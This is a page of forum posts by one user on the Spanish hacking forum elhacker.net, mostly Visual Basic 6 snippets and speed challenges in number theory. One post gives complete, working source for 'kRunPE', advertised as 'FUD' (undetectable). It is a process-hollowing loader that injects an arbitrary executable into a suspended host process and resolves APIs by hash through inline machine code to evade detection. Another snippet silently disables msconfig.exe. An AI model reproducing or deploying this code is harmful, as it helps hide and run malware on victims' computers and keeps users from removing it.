elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Temas
Páginas: 1 2 3 4 [5] 6 7 8 9 10 11 12
41  Programación / Programación Visual Basic / [RETO] Comprobar si un numero es odioso en: 16 Agosto 2010, 02:01 am
La verdad es que me hace gracia ver los nombres que les ponen a los tipos de numeros :laugh: :laugh: :laugh:

Un numero odioso es aquel que en su expresion binaria tiene una cantidad impar de unos... por ejemplo el numero ONCE (11) que expresado en forma binaria es 1011, es decir 3 unos..

Mas info:
Código:
http://mathworld.wolfram.com/OdiousNumber.html
http://oeis.org/classic/A000069

Se medira el tiempo que tarda en calcular 100.000 numeros... tal que asi:
Código:
    Dim i   As Long
   
    For i = 1 To 100000
        Call IsItOdious(i)
    Next i

Id preparando los codeees! :P
42  Programación / Programación Visual Basic / [m][VB6][SNIPPET] DisableMsConfig - Desactiva Msconfig.exe en: 12 Agosto 2010, 23:55 pm
Código
  1. 'KERNEL32
  2. Private Declare Function CreateSemaphoreW Lib "KERNEL32" (ByVal lpSemaphoreAttributes As Long, ByVal lInitialCount As Long, ByVal lMaximumCount As Long, ByVal lpName As Long) As Long
  3.  
  4. '---------------------------------------------------------------------------------------
  5. ' Procedure : DisableMsConfig
  6. ' Author    : Karcrack
  7. ' Date      : 12/08/2010
  8. '---------------------------------------------------------------------------------------
  9. '
  10. Public Function DisableMsConfig() As Boolean
  11.    Call CreateSemaphoreW(0, 0, 1, StrPtr("MSConfigRunning"))
  12.    DisableMsConfig = (Err.LastDllError = 0)
  13. End Function

Bien cortito y funcional, ejecuta el codigo e intenta abrir el msconfig.exe :P, hasta que no cierres el proceso (si lo haces desde el IDE hara falta que cierres el IDE) o bien uses ReleaseSemaphore() queda desactivado :D

Ale, a divertirse! :P
43  Programación / Programación Visual Basic / [RETO] Comprobar si un numero dado es un numero de la suerte en: 11 Agosto 2010, 00:55 am
Antes que nada:
Código:
http://es.wikipedia.org/wiki/N%C3%BAmero_de_la_suerte

La función ha de recibir el numero (LONG) y devolver True o False (BOOLEAN) en caso de que sea o no un numero de la suerte

El reto es a ver quien consigue hacer la comprobacion mas rapida :)
Es un reto similar a este, pero las propiedades de los numeros de la suerte son distintas


Suerte, y yo voy a preparar ahora mi codigo :)
44  Programación / Programación Visual Basic / [VB6-SRC] mZombieInvoke - Llama APIs sin declararlas en: 9 Agosto 2010, 13:54 pm
 >:D >:D

Despues de debuggear durante horas el MSVBVM60.DLL descubrí una función que permitía llamar a un puntero (sin destrozar mucho el stack :D) esta se llama Zombie_AddRef y VB6 la utiliza para cargar clases e interfaces :)

Si alguien quiere mas explicación sobre lo que hace esa función y como lo he aprovechado para llamar codigo que pregunte ;)

Despues de esta breve explicacion aqui teneis el code:
Código:
http://www.cobein.com/wp/?p=567


Saludos ::)
45  Foros Generales / Sugerencias y dudas sobre el Foro / Nicks molestos... en: 30 Julio 2010, 16:33 pm
No suelo quejarme demasiado( :rolleyes:) pero hace poco que estoy viendo usuarios con nicks que complican citarles... es decir que si le das a citar, su nick cierra los tags de BBCODE complicando la tarea de responderle o participar en el tema....

No quiero dar ejemplos, porque seria personalizar y no quiero mas enemigos >:D >:D :xD :silbar:

Saludos :D
46  Programación / Programación Visual Basic / [m][SNIPPET] IsUserAnAdmin? en: 30 Julio 2010, 16:19 pm
Código
  1. 'ADVAPI32
  2. Private Declare Function CheckTokenMembership Lib "ADVAPI32" (ByVal TokenHandle As Long, ByVal pSidToCheck As Long, ByRef IsMember As Boolean) As Long
  3.  
  4. '---------------------------------------------------------------------------------------
  5. ' Procedure : IsUserAnAdmin
  6. ' Author    : Karcrack
  7. ' Date      : 300710
  8. ' Purpose   : Check wether the user is in the Administrator Group
  9. ' TestedOn  : Windows XP SP3
  10. '---------------------------------------------------------------------------------------
  11. '
  12. Private Function IsUserAnAdmin() As Boolean
  13.    Dim SID(1)  As Currency
  14.    'Hardcoded SID
  15.    SID(0) = 36028797018964.0193@: SID(1) = 233646220.9056@
  16.    Call CheckTokenMembership(0, VarPtr(SID(0)), IsUserAnAdmin)
  17. End Function

Es un pequeño codigo minimalista (como a mi me gusta ::)) que reemplaza a la funcion IsUserAnAdmin@SHELL32, que es simplemente un wrapper a CheckTokenMembership@ADVAPI32

Como podeis comprobar el SID (Security IDentifier) esta hardcodeado... asi que me gustaria que lo probaseis en vuestros PCs, no deberia fallar, pero nunca se sabe :laugh:

Originalmente posteado en:
Código:
http://cobein.com/wp/?p=559

Saludos :D
47  Programación / Programación Visual Basic / [VB6+NATIVE] GetProcessTimes Alternativa en: 29 Julio 2010, 01:13 am
Código
  1. Option Explicit
  2.  
  3. Public Type KERNEL_USER_TIMES
  4.    liCreateTime            As Currency 'LARGE_INTEGER
  5.    liExitTime              As Currency 'LARGE_INTEGER
  6.    liKernelTime            As Currency 'LARGE_INTEGER
  7.    liUserTime              As Currency 'LARGE_INTEGER
  8. End Type
  9.  
  10. 'NTDLL
  11. Private Declare Function NtQueryInformationProcess Lib "NTDLL" (ByVal ProcessHandle As Long, ByVal ProcessInformationClass As Long, ByVal ProcessInformation As Long, ByVal ProcessInformationLength As Long, ReturnLength As Long) As Long
  12.  
  13. Private Const ProcessTimes  As Long = &H4
  14. Public Const CurrentProcess As Long = -1
  15.  
  16. '---------------------------------------------------------------------------------------
  17. ' Procedure : GetProcessTimes
  18. ' Author    : Karcrack
  19. ' Date      : 290710
  20. ' Purpose   : Get some Process Time Info... like when it was created...
  21. '---------------------------------------------------------------------------------------
  22. '
  23. Public Function GetProcessTimes(ByVal hProc As Long) As KERNEL_USER_TIMES
  24.    Call NtQueryInformationProcess(hProc, ProcessTimes, VarPtr(GetProcessTimes), &H20, ByVal 0&)
  25. End Function

Reemplazo nativo a GetProcessTimes@KERNEL32, permite por ejemplo, obtener la hora en la que se inicio un proceso :D

Saludos ;)
48  Programación / Programación Visual Basic / [VB6+ASM] Alternativa CopyMemory/RtlMoveMemory/CopyBytes en: 28 Julio 2010, 21:41 pm
 :)
Código
  1. Option Explicit
  2. Option Base 0
  3. '---------------------------------------------------------------------------------------
  4. ' Module    : mCopyMemoryASM
  5. ' Author    : Karcrack
  6. ' Date      : 280710
  7. ' Purpose   : A kewl RtlMoveMemory/CopyMemory replacement using ASM :)
  8. '---------------------------------------------------------------------------------------
  9.  
  10. 'USER32
  11. Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCodePointer As Long, Optional ByVal l1 As Long, Optional ByVal l2 As Long, Optional ByVal l3 As Long, Optional ByVal l4 As Long) As Long
  12.  
  13. Private bvCode(20)      As Byte
  14. '{
  15. '    PUSH ESI
  16. '    PUSH EDI
  17. '    MOV EDI,DWORD PTR SS:[ESP+C]
  18. '    MOV ESI,DWORD PTR SS:[ESP+10]
  19. '    MOV ECX,DWORD PTR SS:[ESP+14]
  20. '    REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
  21. '    POP EDI
  22. '    POP ESI
  23. '    RETN 10
  24. '}
  25. Private bInitialized    As Boolean
  26.  
  27. Public Function ASM_Initialize() As Boolean
  28.    On Error GoTo Initialize_Error
  29.    Dim i               As Long
  30.  
  31.    For i = 0 To 20
  32.        bvCode(i) = CByte(Choose(i + 1, &H56, &H57, &H8B, &H7C, &H24, &HC, &H8B, &H74, &H24, &H10, &H8B, &H4C, &H24, &H14, &HF3, &HA4, &H5F, &H5E, &HC2, &H10, &H0))
  33.    Next i
  34.  
  35.    bInitialized = True
  36.    ASM_Initialize = True
  37.  
  38.    On Error GoTo 0
  39.    Exit Function
  40. Initialize_Error:
  41.    ASM_Initialize = False
  42. End Function
  43.  
  44. Public Sub ASM_CopyMemory(ByVal Source As Long, ByVal Destination As Long, ByVal Length As Long)
  45.    If bInitialized = True Then
  46.        Call CallWindowProcW(VarPtr(bvCode(0)), Destination, Source, Length)
  47.    End If
  48. End Sub
  49.  
  50. 'PutMem4 Wrapper
  51. Public Sub ASM_PutMem4(ByVal lLong As Long, ByVal Destination As Long)
  52.    Call ASM_CopyMemory(VarPtr(lLong), Destination, &H4)
  53. End Sub
  54.  
  55. 'GetMem4 Wrapper
  56. Public Function ASM_GetMem4(ByVal Source As Long) As Long
  57.    Call ASM_CopyMemory(Source, VarPtr(ASM_GetMem4), &H4)
  58. End Function
*Actualizado
Ejemplo:
Código
  1. Private Sub Form_Load()
  2.    Dim x       As Long
  3.    Dim y       As Long
  4.    Dim i       As String
  5.    Dim n       As String
  6.  
  7.    If ASM_Initialize = True Then
  8.        x = &H1337
  9.        Call ASM_CopyMemory(VarPtr(x), VarPtr(y), &H4)
  10.        Debug.Print Hex$(x), Hex$(y)
  11.        y = 0
  12.        Call ASM_PutMem4(x, VarPtr(y))
  13.        Debug.Print Hex$(ASM_GetMem4(VarPtr(x)))
  14.        Debug.Print Hex$(x), Hex$(y)
  15.        i = "KARCRACK_ES_GUAY!!!!!!!"
  16.        n = Space$(Len(i))
  17.        Call ASM_CopyMemory(StrPtr(i), StrPtr(n), LenB(i))
  18.        Debug.Print i
  19.        Debug.Print n
  20.    End If
  21. End Sub

Saluuudos ;)
49  Programación / Programación Visual Basic / [m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :) en: 23 Julio 2010, 20:58 pm
Bueno, esta es la version mas corta que encontrareis del famoso RunPE >:D :silbar:
Código
  1. Option Explicit
  2. Option Base 0
  3.  
  4. '---------------------------------------------------------------------------------------
  5. ' Module    : kRunPe
  6. ' Author    : Karcrack
  7. ' Date      : 230710
  8. ' Purpose   : Shortest way to Run PE from ByteArray
  9. '---------------------------------------------------------------------------------------
  10.  
  11. Private Type DWORD_L
  12.    D1                          As Long
  13. End Type
  14.  
  15. Private Type DWORD_B
  16.    B1      As Byte:    B2      As Byte
  17.    B3      As Byte:    B4      As Byte
  18. End Type
  19.  
  20. 'USER32
  21. Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long
  22.  
  23. Private bInitialized_Inv        As Boolean
  24. Private ASM_gAPIPTR(170)        As Byte
  25. Private ASM_cCODE(255)          As Byte
  26.  
  27. Private Const KERNEL32          As String = "KERNEL32"
  28. Private Const NTDLL             As String = "NTDLL"
  29.  
  30. Public Function RunPE(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Boolean
  31.    Dim hModuleBase             As Long
  32.    Dim hPE                     As Long
  33.    Dim hSec                    As Long
  34.    Dim ImageBase               As Long
  35.    Dim i                       As Long
  36.    Dim tSTARTUPINFO(16)        As Long
  37.    Dim tPROCESS_INFORMATION(3) As Long
  38.    Dim tCONTEXT(50)            As Long
  39.  
  40.    hModuleBase = VarPtr(bvBuff(0))
  41.  
  42.    If Not GetNumb(hModuleBase, 2) = &H5A4D Then Exit Function
  43.  
  44.    hPE = hModuleBase + GetNumb(hModuleBase + &H3C)
  45.  
  46.    If Not GetNumb(hPE) = &H4550 Then Exit Function
  47.  
  48.    ImageBase = GetNumb(hPE + &H34)
  49.  
  50.    tSTARTUPINFO(0) = &H44
  51.    'CreateProcessW@KERNEL32
  52.    Call Invoke(KERNEL32, &H16B3FE88, StrPtr(sHost), StrPtr(sParams), 0, 0, 0, &H4, 0, 0, VarPtr(tSTARTUPINFO(0)), VarPtr(tPROCESS_INFORMATION(0)))
  53.    'NtUnmapViewOfSection@NTDLL
  54.    Call Invoke(NTDLL, &HF21037D0, tPROCESS_INFORMATION(0), ImageBase)
  55.    'NtAllocateVirtualMemory@NTDLL
  56.    Call Invoke(NTDLL, &HD33BCABD, tPROCESS_INFORMATION(0), VarPtr(ImageBase), 0, VarPtr(GetNumb(hPE + &H50)), &H3000, &H40)
  57.    'NtWriteVirtualMemory@NTDLL
  58.    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase, VarPtr(bvBuff(0)), GetNumb(hPE + &H54), 0)
  59.  
  60.    For i = 0 To GetNumb(hPE + &H6, 2) - 1
  61.        hSec = hPE + &HF8 + (&H28 * i)
  62.  
  63.        'NtWriteVirtualMemory@NTDLL
  64.        Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase + GetNumb(hSec + &HC), hModuleBase + GetNumb(hSec + &H14), GetNumb(hSec + &H10), 0)
  65.    Next i
  66.  
  67.    tCONTEXT(0) = &H10007
  68.    'NtGetContextThread@NTDLL
  69.    Call Invoke(NTDLL, &HE935E393, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
  70.    'NtWriteVirtualMemory@NTDLL
  71.    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), tCONTEXT(41) + &H8, VarPtr(ImageBase), &H4, 0)
  72.  
  73.    tCONTEXT(44) = ImageBase + GetNumb(hPE + &H28)
  74.  
  75.    'NtSetContextThread@NTDLL
  76.    Call Invoke(NTDLL, &H6935E395, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
  77.    'NtResumeThread@NTDLL
  78.    Call Invoke(NTDLL, &HC54A46C8, tPROCESS_INFORMATION(1), 0)
  79.  
  80.    hProcess = tPROCESS_INFORMATION(0)
  81.    RunPE = True
  82. End Function
  83.  
  84. Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
  85.    'NtWriteVirtualMemory@NTDLL
  86.    Call Invoke(NTDLL, &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0)
  87. End Function
  88.  
  89. Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
  90.    Dim vItem                   As Variant
  91.    Dim bsTmp                   As DWORD_B
  92.    Dim lAPI                    As Long
  93.    Dim i                       As Long
  94.    Dim w                       As Long
  95.  
  96.    If Not bInitialized_Inv Then
  97.        For i = 0 To 170
  98.            ASM_gAPIPTR(i) = CByte(Choose(i + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
  99.                            &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
  100.        Next i
  101.        i = 0
  102.        bInitialized_Inv = True
  103.    End If
  104.  
  105.    lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash)
  106.  
  107.    If lAPI Then
  108.        For w = UBound(vParams) To LBound(vParams) Step -1
  109.            bsTmp = SliceLong(CLng(vParams(w)))
  110.            '// PUSH ADDR
  111.            Call PutByte(&H68, i)
  112.            Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
  113.            Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
  114.        Next w
  115.  
  116.        bsTmp = SliceLong(lAPI)
  117.        '// MOV EAX, ADDR
  118.        Call PutByte(&HB8, i)
  119.        Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
  120.        Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
  121.        '// CALL EAX
  122.        Call PutByte(&HFF, i):      Call PutByte(&HD0, i)
  123.        '// RET
  124.        Call PutByte(&HC3, i)
  125.  
  126.        Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0)))
  127.    End If
  128. End Function
  129.  
  130. Private Sub PutByte(ByVal bByte As Byte, ByRef iCounter As Long)
  131.    ASM_cCODE(iCounter) = bByte
  132.    iCounter = iCounter + 1
  133. End Sub
  134.  
  135. Private Function SliceLong(ByVal lLong As Long) As DWORD_B
  136.    Dim tL                      As DWORD_L
  137.  
  138.    tL.D1 = lLong
  139.    LSet SliceLong = tL
  140. End Function

Ejemplo de uso:
Código
  1.    Dim x()     As Byte
  2.    Open Environ$("WINDIR") & "\SYSTEM32\calc.exe" For Binary As #1
  3.        ReDim x(0 To LOF(1) - 1)
  4.        Get #1, , x
  5.    Close #1
  6.    Call RunPE(x, Environ$("WINDIR") & "\SYSTEM32\notepad.exe")

Esta un poco desordenado, no tiene comentarios, he eliminado las estructuras, utiliza ASM, hashes... bastante follon para entenderlo sin saber nada de los RunPE :xD :xD

Cualquier duda preguntad ;)

Saludos ::)
50  Programación / Programación Visual Basic / [RETO] Funcion iFactorize() - Factorizacion de numeros enteros en: 17 Julio 2010, 14:30 pm
Otro reto; A ver quien hace la funcion de factorizacion mas rapida :)

Se trata de crear una funcion que factorice cualquier numero entero positivo...

La funcion ha de devolver un Collection con todos los numeros primos que componen ese numero

Para medir el tiempo necesario se utilizará este codigo:
Código:
Private tmr     As CTiming

Private Sub Form_Load()
    Dim x       As Long
    Dim vItem   As Variant
   
    Set tmr = New CTiming
    tmr.Reset
   
    For x = 0 To 4096
        'Debug.Print x, ;
        'For Each vItem In iFactorize(x)
        '    Debug.Print vItem;
        'Next vItem
        'Debug.Print
        Call iFactorize(x)
    Next x
   
    MsgBox tmr.sElapsed
End Sub
cTiming.cls

+Info
Código:
http://en.wikipedia.org/wiki/Integer_factorization
http://es.wikipedia.org/wiki/Factorizaci%C3%B3n_de_enteros

Suerte, espero que participeis muchos :P
Páginas: 1 2 3 4 [5] 6 7 8 9 10 11 12
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines